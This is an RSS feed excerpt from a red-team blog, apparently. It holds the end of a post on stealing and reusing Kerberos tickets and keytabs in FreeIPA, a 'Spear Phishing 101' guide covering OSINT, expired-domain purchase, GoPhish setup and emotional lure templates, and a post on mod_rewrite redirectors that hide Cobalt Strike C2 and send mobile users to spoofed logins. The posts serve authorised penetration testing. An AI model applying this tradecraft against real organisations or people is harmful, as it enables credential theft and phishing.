&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;9edd&quot;&gt;&lt;strong&gt;KEYRING:thread:name&lt;/strong&gt;&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;Tickets are scoped to a specific thread.&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;5853&quot;&gt;&lt;strong&gt;KEYRING:session:name&lt;/strong&gt;&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;Tickets are scoped to a specific user session.&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;3bef&quot;&gt;&lt;strong&gt;KEYRING:persistent:uidnumber&lt;/strong&gt;&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;Tickets are scoped to a specific user regardless of session.&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;2c45&quot;&gt;Depending on how the administrator scoped the ticket stored inside of the Unix keyring, parsing it out may be difficult. However, the default scope for CCACHE Tickets in the Unix keyring is KEYRING:persistent:uidnumber. Fortunately if you are in the context of the user, klist can parse this information for us.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;150&quot; src=&quot;/assets/specterops/2019/11/1G8YK7CYqDPEMlrbk1LN6iw.png&quot; alt=&quot;&quot; class=&quot;wp-image-21187&quot; srcset=&quot;/assets/specterops/2019/11/1G8YK7CYqDPEMlrbk1LN6iw.png 720w, /assets/specterops/2019/11/1G8YK7CYqDPEMlrbk1LN6iw.png?resize=300,63 300w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;Parsing a CCACHE Ticket Stored in the Keyring.&lt;/figcaption&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;a3e4&quot;&gt;As an attacker, re-using a CCACHE Ticket stored in the Unix keyring is fairly difficult depending on how the ticket is scoped. Fortunately&amp;nbsp;&lt;a href=&quot;https://github.com/Zer1t0&quot; rel=&quot;noreferrer noopener&quot; target=&quot;_blank&quot;&gt;@Zer1t0&lt;/a&gt;&amp;nbsp;from&amp;nbsp;&lt;a href=&quot;https://twitter.com/Tarlogic&quot; rel=&quot;noreferrer noopener&quot; target=&quot;_blank&quot;&gt;@Tarlogic&lt;/a&gt;&amp;nbsp;has built a tool that can extract Kerberos tickets from the Unix keyring. The tool is called Tickey and can be found&amp;nbsp;&lt;a href=&quot;https://github.com/TarlogicSecurity/tickey&quot; rel=&quot;noreferrer noopener&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;387&quot; src=&quot;/assets/specterops/2019/11/1klkxOfWktkr9RwvSZ6V1cQ.png&quot; alt=&quot;&quot; class=&quot;wp-image-21188&quot; srcset=&quot;/assets/specterops/2019/11/1klkxOfWktkr9RwvSZ6V1cQ.png 720w, /assets/specterops/2019/11/1klkxOfWktkr9RwvSZ6V1cQ.png?resize=300,161 300w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;Extracting and re-using a CCACHE Ticket stored in the Keyring with Tickey.&lt;/figcaption&gt;&lt;/figure&gt;



&lt;h3 class=&quot;wp-block-heading&quot; id=&quot;ff38&quot;&gt;Keytab&lt;/h3&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;0ba4&quot;&gt;Keytabs are another form of credential material that is utilized in FreeIPA, and Kerberos in general. It consists of pairs of Kerberos principals and encrypted keys that are derived from the Kerberos password associated with the principal. Since these keys are derived from the principal’s password, if that password changes the keytab will be invalidated.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;47c9&quot;&gt;Keytab files can be used to obtain a valid ticket granting ticket (TGT) for the principal it is scoped to. This authentication process does not require the password, as it contains keys derived from the password.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;5634&quot;&gt;Parsing a Keytab file is very easy, and can be accomplished a few ways. The easiest way to parse a keytab file is with klist. The second way utilizes a great python utility that &lt;a href=&quot;https://medium.com/u/645ffcef8682?source=post_page---user_mention--77e73d837d6a---------------------------------------&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;Cody Thomas&lt;/a&gt; has created. His &lt;a href=&quot;https://github.com/its-a-feature/KeytabParser&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;KeytabParser&lt;/a&gt; project will parse out the principal and its relevant encrypted keys.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;401&quot; src=&quot;/assets/specterops/2019/11/1o6sVHeSBi2L8k5pqNabvMA.png&quot; alt=&quot;&quot; class=&quot;wp-image-21189&quot; srcset=&quot;/assets/specterops/2019/11/1o6sVHeSBi2L8k5pqNabvMA.png 720w, /assets/specterops/2019/11/1o6sVHeSBi2L8k5pqNabvMA.png?resize=300,167 300w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;Parsing KeyTab Files with Klist and KeytabParser&lt;/figcaption&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;4cd0&quot;&gt;Attackers can re-use credentials stored in keytab files by generating a CCACHE Ticket through the kinit binary.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;720&quot; height=&quot;247&quot; src=&quot;/assets/specterops/2019/11/1Nz-xHdSQOClliSs-UrMWmg.png&quot; alt=&quot;&quot; class=&quot;wp-image-21190&quot; srcset=&quot;/assets/specterops/2019/11/1Nz-xHdSQOClliSs-UrMWmg.png 720w, /assets/specterops/2019/11/1Nz-xHdSQOClliSs-UrMWmg.png?resize=300,103 300w&quot; sizes=&quot;auto, (max-width: 720px) 100vw, 720px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;Utilizing a Keytab File to Obtain a Valid CCACHE Ticket.&lt;/figcaption&gt;&lt;/figure&gt;



&lt;h2 class=&quot;wp-block-heading&quot; id=&quot;9345&quot;&gt;Conclusion&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;943e&quot;&gt;It is fundamental for an attacker to understand the operating environment, including various technologies in use and how they are applied. Hopefully this series can serve as a reference for operating inside of environments managed by FreeIPA. Specifically, providing a rudimentary understanding of the underlying technology and how to abuse it from an attackers prospective.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot; id=&quot;28b5&quot;&gt;This is the first post in a series of posts documenting what I have learned operating against managed FreeIPA environments. In the following posts I will aim to cover the following:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;A brief overview of the various objects inside of FreeIPA, and how they interact with each other. How to enumerate information about these objects in a FreeIPA environment from the IPA server. Specifically information enabling lateral movement.&lt;/a&gt;&lt;/li&gt;



&lt;li&gt;&lt;a href=&quot;https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;Exploiting an entire Attack Chain in a custom lab environment.&lt;/a&gt;&lt;/li&gt;



&lt;li&gt;&lt;a href=&quot;https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;Finally, an overview of some misconfigurations and unique scenarios that attackers can abuse inside of a FreeIPA environment.&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;



&lt;h2 class=&quot;wp-block-heading&quot; id=&quot;13d5&quot;&gt;References:&lt;/h2&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;Using a Keytab, Indiana University,&amp;nbsp;&lt;a href=&quot;https://kb.iu.edu/d/aumh&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;https://kb.iu.edu/d/aumh&lt;/a&gt;&lt;a href=&quot;https://medium.com/@n0pe_sled?source=post_page---byline--77e73d837d6a---------------------------------------&quot;&gt;&lt;/a&gt;&lt;/li&gt;



&lt;li&gt;MIT Kerberos Documentation, MIT,&amp;nbsp;&lt;a href=&quot;https://web.mit.edu/kerberos/krb5-latest/doc/&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;https://web.mit.edu/kerberos/krb5-latest/doc/&lt;/a&gt;&lt;/li&gt;



&lt;li&gt;Kerberos Credential Thievery (GNU/Linux), Ronan Loftus and Arne Zismer,&amp;nbsp;&lt;a href=&quot;https://www.delaat.net/rp/2016-2017/p97/report.pdf&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;https://www.delaat.net/rp/2016-2017/p97/report.pdf&lt;/a&gt;&lt;/li&gt;



&lt;li&gt;Tickey, TarlogicSecurity,&amp;nbsp;&lt;a href=&quot;https://github.com/TarlogicSecurity/tickey&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;https://github.com/TarlogicSecurity/tickey&lt;/a&gt;&lt;/li&gt;



&lt;li&gt;KeytabParser, Cody Thomas,&amp;nbsp;&lt;a href=&quot;https://github.com/its-a-feature/KeytabParser&quot; target=&quot;_blank&quot; rel=&quot;noreferrer noopener&quot;&gt;https://github.com/its-a-feature/KeytabParser&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;
</description>
        <pubDate>Mon, 25 Nov 2019 00:00:00 +0000</pubDate>
        <link>https://blog.n0pe-sled.com/2019/11/25/attacking-freeipa-part-i-authentication/</link>
        <guid isPermaLink="true">https://blog.n0pe-sled.com/2019/11/25/attacking-freeipa-part-i-authentication/</guid>
        
        <category>FreeIPA</category>
        
        <category>Kerberos</category>
        
        <category>Linux</category>
        
        
      </item>
    
      <item>
        <title>Spear Phishing 101</title>
        <description>&lt;p&gt;Spear phishing is one of the most useful tools available to gain initial access in an environment.  At its core Phishing is essentially a form of social engineering designed to entice a user to reveal sensitive information, or run a payload to compromise their system.  Running a successful Phishing campaign requires a few different resources and some setup.  In this post I will go over the process I use to setup and run a successful Phishing campaign.&lt;/p&gt;

&lt;h2 id=&quot;target-identification&quot;&gt;Target Identification&lt;/h2&gt;

&lt;p&gt;The first step in a successful phishing campaign is to know your target.  For the purpose of this post, our target will be the fictitious organization ACME LLC.&lt;/p&gt;

&lt;p&gt;There are a few things that we need to know about ACME to conduct the campaign.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Is this a Linux or Windows Based environment?&lt;/li&gt;
  &lt;li&gt;How are their email addresses formatted?&lt;/li&gt;
  &lt;li&gt;Is there a public login portal for the organization?&lt;/li&gt;
  &lt;li&gt;Does the organization implement email filtering?&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The answers to these questions will help establish a good baseline and give us the information we need to start setting up the campaign.  However, these questions are not all inclusive, and the more time you spend researching the target organization, the better; enumeration is critical.&lt;/p&gt;

&lt;p&gt;I usually start by searching through &lt;a href=&quot;https://www.linkedin.com/&quot;&gt;Linkedin&lt;/a&gt;.  I have found a lot of information by looking through employee Linkedin profiles and job postings.  By determining the skills required for a new employee, and the skills of their current employees, you can learn a lot about the organization’s infrastructure.&lt;/p&gt;

&lt;p&gt;For example, if the there is a job available for a Splunk Engineer, C# Developer, and a SOC operator.  We can reasonably assume that they are using Splunk,  have a SOC to respond to threats, and are primarily a Windows environment.&lt;/p&gt;

&lt;p&gt;Another great source of OSINT can be the corporate website.  These websites often have a lot of information, such as email addresses, job postings, and background information on the organization that can be useful when crafting a template.&lt;/p&gt;

&lt;p&gt;To identify email addresses, I prefer to use a tool called &lt;a href=&quot;https://github.com/killswitch-GUI/SimplyEmail&quot;&gt;SimplyEmail&lt;/a&gt;, made by &lt;a href=&quot;https://twitter.com/Killswitch_GUI&quot;&gt;@Killswitch_GUI&lt;/a&gt;.  This tool was built to be an expansion of the popular tool “The Harvester.”&lt;/p&gt;

&lt;p&gt;Another tool used to conduct reconnaissance is recon-ng. Recon-ng is a full-featured Web Reconnaissance framework written in Python.   It comes loaded with independent modules and useful built-in functions.  Null-Byte did an excellent overview of the tool that is available &lt;a href=&quot;https://null-byte.wonderhowto.com/how-to/hack-like-pro-reconnaissance-with-recon-ng-part-1-getting-started-0169854/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;infrastructure-setup&quot;&gt;Infrastructure Setup&lt;/h2&gt;

&lt;p&gt;After identifying the target and some information about the target environment, I start to setup infrastructure.  The first thing needed to set up infrastructure is a few domain names.  To find good domain names, I turn to expireddomains.net.  Here, you can search through a list of domains that have expired to buy one that is categorized already and similar to your target.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://blog.n0pe-sled.com/assets/Phishing/ExpiredDomains.PNG&quot; alt=&quot;expired-domains&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/minisllc/domainhunter&quot;&gt;Domainhunter&lt;/a&gt; is a great tool that searches through Expireddomains.net for any expired domains with a previous history of use. It can optionally query for domain reputation against services like BlueCoat and IBM X-Force.&lt;/p&gt;

&lt;p&gt;After selecting your domain name, it’s time to begin setup.  Each operator tackles infrastructure differently, but here is how I prefer to do it.&lt;/p&gt;

&lt;p&gt;For each engagement, I set up three servers.  They are as follows:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Payload Host, and Command and Control Server&lt;/li&gt;
  &lt;li&gt;SMTP Server&lt;/li&gt;
  &lt;li&gt;Redirection Server&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I prefer to use &lt;a href=&quot;https://www.cobaltstrike.com/&quot;&gt;Cobalt Strike&lt;/a&gt; to host payloads and manage C2 channels.&lt;/p&gt;

&lt;p&gt;For an SMTP Server,  I prefer to use a combination of Postfix and Dovecot.  This combination allows for the segregation from the C2 server and supports IMAP to handle user responses.  I made a &lt;a href=&quot;https://github.com/n0pe-sled/Postfix-Server-Setup&quot;&gt;script&lt;/a&gt; to automate most of the setup process.  For detailed instructions, you can refer to this &lt;a href=&quot;/2017/02/14/Mail-Server-Setup/&quot;&gt;post&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;To use this server with GoPhish, follow these instructions.&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Install GoPhish by downloading and extracting the &lt;a href=&quot;https://github.com/gophish/gophish/releases&quot;&gt;lastest release&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;After extraction, edit the configuration file “config.json.”&lt;/li&gt;
  &lt;li&gt;If you are running the mail server locally, change “host: stmp.example.com:25” to “host: localhost:25”, and the username/password appropriately.&lt;/li&gt;
  &lt;li&gt;If you are running the mail server on another server;  Set the mail server to accept the GoPhish server as a relay, and set “host: stmp.example.com:25” to “host: Mail Server IP:25”, and the username/password appropriately.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Here is an example configuration:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;s2&quot;&gt;&quot;admin_server&quot;&lt;/span&gt; : &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;s2&quot;&gt;&quot;listen_url&quot;&lt;/span&gt; : &lt;span class=&quot;s2&quot;&gt;&quot;0.0.0.0:3333&quot;&lt;/span&gt;,
                &lt;span class=&quot;s2&quot;&gt;&quot;use_tls&quot;&lt;/span&gt; : &lt;span class=&quot;nb&quot;&gt;false&lt;/span&gt;,
                &lt;span class=&quot;s2&quot;&gt;&quot;cert_path&quot;&lt;/span&gt; : &lt;span class=&quot;s2&quot;&gt;&quot;example.crt&quot;&lt;/span&gt;,
                &lt;span class=&quot;s2&quot;&gt;&quot;key_path&quot;&lt;/span&gt; : &lt;span class=&quot;s2&quot;&gt;&quot;example.key&quot;&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;,
        &lt;span class=&quot;s2&quot;&gt;&quot;phish_server&quot;&lt;/span&gt; : &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;s2&quot;&gt;&quot;listen_url&quot;&lt;/span&gt; : &lt;span class=&quot;s2&quot;&gt;&quot;0.0.0.0:80&quot;&lt;/span&gt;,
                &lt;span class=&quot;s2&quot;&gt;&quot;use_tls&quot;&lt;/span&gt; : &lt;span class=&quot;nb&quot;&gt;false&lt;/span&gt;,
                &lt;span class=&quot;s2&quot;&gt;&quot;cert_path&quot;&lt;/span&gt; : &lt;span class=&quot;s2&quot;&gt;&quot;example.crt&quot;&lt;/span&gt;,
                &lt;span class=&quot;s2&quot;&gt;&quot;key_path&quot;&lt;/span&gt;: &lt;span class=&quot;s2&quot;&gt;&quot;example.key&quot;&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;,
        &lt;span class=&quot;s2&quot;&gt;&quot;smtp&quot;&lt;/span&gt; : &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;s2&quot;&gt;&quot;host&quot;&lt;/span&gt; : &lt;span class=&quot;s2&quot;&gt;&quot;127.0.0.1:25&quot;&lt;/span&gt;,
                &lt;span class=&quot;s2&quot;&gt;&quot;user&quot;&lt;/span&gt; : &lt;span class=&quot;s2&quot;&gt;&quot;user&quot;&lt;/span&gt;,
                &lt;span class=&quot;s2&quot;&gt;&quot;pass&quot;&lt;/span&gt; : &lt;span class=&quot;s2&quot;&gt;&quot;P@ssword123!&quot;&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;,
        &lt;span class=&quot;s2&quot;&gt;&quot;db_path&quot;&lt;/span&gt; : &lt;span class=&quot;s2&quot;&gt;&quot;gophish.db&quot;&lt;/span&gt;,
        &lt;span class=&quot;s2&quot;&gt;&quot;migrations_path&quot;&lt;/span&gt; : &lt;span class=&quot;s2&quot;&gt;&quot;db/migrations/&quot;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;After setting the configuration file, we need to add a sending profile.  Here is the sending profile configuration associated with the configuration shown above.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://blog.n0pe-sled.com/assets/Phishing/sendingProfile.PNG&quot; alt=&quot;config&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Finally, the last server will handle payload redirection.  This server will proxy our payload to the user, or redirect them away from the server.  This server serves a few primary functions.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Allow live hot swapping of payloads&lt;/li&gt;
  &lt;li&gt;Protect the location of our Command and Control Server&lt;/li&gt;
  &lt;li&gt;Deliver operating system specific payloads, and handles mobile users&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I made a &lt;a href=&quot;https://github.com/n0pe-sled/Apache2-Mod-Rewrite-Setup&quot;&gt;script&lt;/a&gt; to automate most of the setup process.  For detailed instructions, you can refer to this &lt;a href=&quot;/2017/04/17/Mod-Rewrite-Automatic-Setup/&quot;&gt;post&lt;/a&gt;.  For more information of Mod_Rewrite,  &lt;a href=&quot;https://twitter.com/bluscreenofjeff&quot;&gt;Jeff Dimmock&lt;/a&gt; has done a lot of excellent research on this topic and it can all be found on his &lt;a href=&quot;https://bluescreenofjeff.com/tags#mod_rewrite&quot;&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;template-creation&quot;&gt;Template Creation&lt;/h2&gt;

&lt;p&gt;A template can single-handedly make or break a campaign.  The template is what entices the user to reveal sensitive information or run a payload and compromise their system.  Templates can be simple or complex, but the best appeal to the user’s emotions.  Fear, greed, curiosity, desire and sex are some of the topics I found to be especially potent.&lt;/p&gt;

&lt;p&gt;Let’s make a template for the ACME organization.  Our template will be informing employees of a change in the telework policy.&lt;/p&gt;

&lt;p&gt;Here is the template:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://blog.n0pe-sled.com/assets/Phishing/template-comp.PNG&quot; alt=&quot;template&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;By now we have conducted OSINT on our target, created the backend infrastructure required to support the engagement, and created some templates to send.  These are great first steps in carrying out a successful phishing campaign.  Remember, this guide is not perfect, and neither am I.  I wanted to share the process I go through during a phishing engagement to help others and learn more myself.&lt;/p&gt;

&lt;p&gt;If you have any suggestions to add to the post, or issues with any of the content posted here, feel free to let me know, and I will make changes accordingly. :)&lt;/p&gt;
</description>
        <pubDate>Sun, 07 May 2017 14:15:31 +0000</pubDate>
        <link>https://blog.n0pe-sled.com/2017/05/07/Phishing/</link>
        <guid isPermaLink="true">https://blog.n0pe-sled.com/2017/05/07/Phishing/</guid>
        
        <category>Phishing</category>
        
        <category>Server-Setup</category>
        
        
        <category>Archive</category>
        
      </item>
    
      <item>
        <title>Mod_Rewrite Automatic Setup</title>
        <description>&lt;p&gt;Setting up the infrastructure for a Red Team engagement can be time-consuming and arduous.  &lt;a href=&quot;https://twitter.com/bluscreenofjeff&quot;&gt;Jeff Dimmock&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/424f424f&quot;&gt;Steve Borosh&lt;/a&gt; have done a lot of work to make this process easier and more transparent.  They gave a &lt;a href=&quot;https://speakerdeck.com/rvrsh3ll/doomsday-preppers-fortifying-your-red-team-infrastructure&quot;&gt;great presentation&lt;/a&gt; that went over the fundamentals of setting up good Red Team infrastructure, as part of this effort they released a &lt;a href=&quot;https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki&quot;&gt;wiki&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;One of the most interesting bits of tradecraft released in this talk and on &lt;a href=&quot;https://bluescreenofjeff.com/tags#mod_rewrite&quot;&gt;Jeff’s blog&lt;/a&gt; is their very creative use of apache2’s mod_rewrite functionality. Mod_Rewrite is very powerful for a few reasons:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Mod_Rewrite proxy connections hide the actual location of your team server.&lt;/li&gt;
  &lt;li&gt;Mod_Rewrite user-agent redirects can be used to redirect mobile users away from a payload to a spoofed login portal.&lt;/li&gt;
  &lt;li&gt;Block specific IP addresses from your team server.&lt;/li&gt;
  &lt;li&gt;Only allow Malleable C2 traffic to the team server.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In a Red Team engagement, there are often multiple team servers and multiple redirectors in front of each team server. If a defender identifies and blocks one of the redirectors, they should be easy to recreate. However, manually setting up a mod_rewrite rule set for each redirector can be challenging and time-consuming. To make this easier, I automated the setup process and tried to include as much functionality as possible.&lt;/p&gt;

&lt;p&gt;I will go over initial server configuration done by the script, and a few different use cases and how to quickly implement them.&lt;/p&gt;

&lt;h2 id=&quot;server-initialization&quot;&gt;Server Initialization:&lt;/h2&gt;

&lt;p&gt;In order to initialize mod_rewrite we must tell Apache to allow a .htaccess file to override rules in the apache2 configuration file(/etc/apache2/apache2.conf).  In the Apache2 configuration file the default web-root is “/var/www/html/”.  You can see this pictured below.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://blog.n0pe-sled.com/assets/Mod-Rewrite/Apache2-Config.PNG&quot; alt=&quot;config1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;To allow the use of a .htaccess file, “AllowOverride None” needs to be changed to “AllowOverride All.”&lt;/p&gt;

&lt;p&gt;Finally, to use mod_rewrite, we need to enable a few apache2 modules. To enable these modules manually, run:&lt;/p&gt;

&lt;p&gt;a2enmod rewrite proxy proxy_http&lt;/p&gt;

&lt;p&gt;The script will take care of all of this for you.  Each time the script is run it will check that mod_rewrite is enabled and configured correctly. By default, it will enable and configure the default web-root of “/var/www/”, but you can specify which web-root you would like to use with the –server_root flag.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://blog.n0pe-sled.com/assets/Mod-Rewrite/config.png&quot; alt=&quot;config&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;1-only-allowing-malleable-c2-traffic-to-the-team-server&quot;&gt;1) Only allowing Malleable C2 traffic to the team server:&lt;/h2&gt;

&lt;p&gt;To accomplish this copy the script and the Malleable C2 profile on to server you are running the redirector on.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;git clone https://github.com/n0pe-sled/Apache2-Mod-Rewrite-Setup.git
git clone https://github.com/rsmudge/Malleable-C2-Profiles.git&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;After you have a local copy, run the script with the following parameters:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;python apache_redirector_setup.py &lt;span class=&quot;nt&quot;&gt;--malleable&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;Path to C2 Profile&amp;gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--block_url&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://google.com&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--block_mode&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;redirect&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--allow_url&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;team server Address&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--allow_mode&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;proxy&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;It will process the profile and create a set of rules that implement redirection based on the C2 Profile you provided.  These rules are written to “/var/www/html/” by default, but you can specify a different apache2 web-root with the –server_root flag.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://blog.n0pe-sled.com/assets/Mod-Rewrite/C2.png&quot; alt=&quot;c2&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;2-redirecting-mobile-users&quot;&gt;2) Redirecting Mobile Users:&lt;/h2&gt;

&lt;p&gt;Mobile users can be identified by the user agent on the request. This script will set up user agent redirection for the following user agents when the –mobile_url, and –mobile_mode flags are used: android, blackberry, googlebot-mobile, iemobile, ipad, iphone, ipod, opera mobile, palmos, and webos.&lt;/p&gt;

&lt;p&gt;If you would like to restrict any additional users they can be specified with the –block_ua flag. Here is a sample command that will setup mobile user agent redirection:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;python apache_redirector_setup.py &lt;span class=&quot;nt&quot;&gt;--mobile_url&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;mobile site&amp;gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--block_url&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://google.com&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--block_mode&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;redirect&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--allow_url&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;team server Address&amp;gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--allow_mode&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;proxy&quot;&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;--block_ua&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;any additional ua to block&amp;gt;&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;3-blocking-specific-ip-ranges-or-addresses&quot;&gt;3) Blocking Specific IP Ranges or Addresses,&lt;/h2&gt;

&lt;p&gt;This script can set up redirection based on an IP Range or an IP Address. However, its functionality is limited to single ipv4 addresses, or /8,16,24 subnets.&lt;/p&gt;

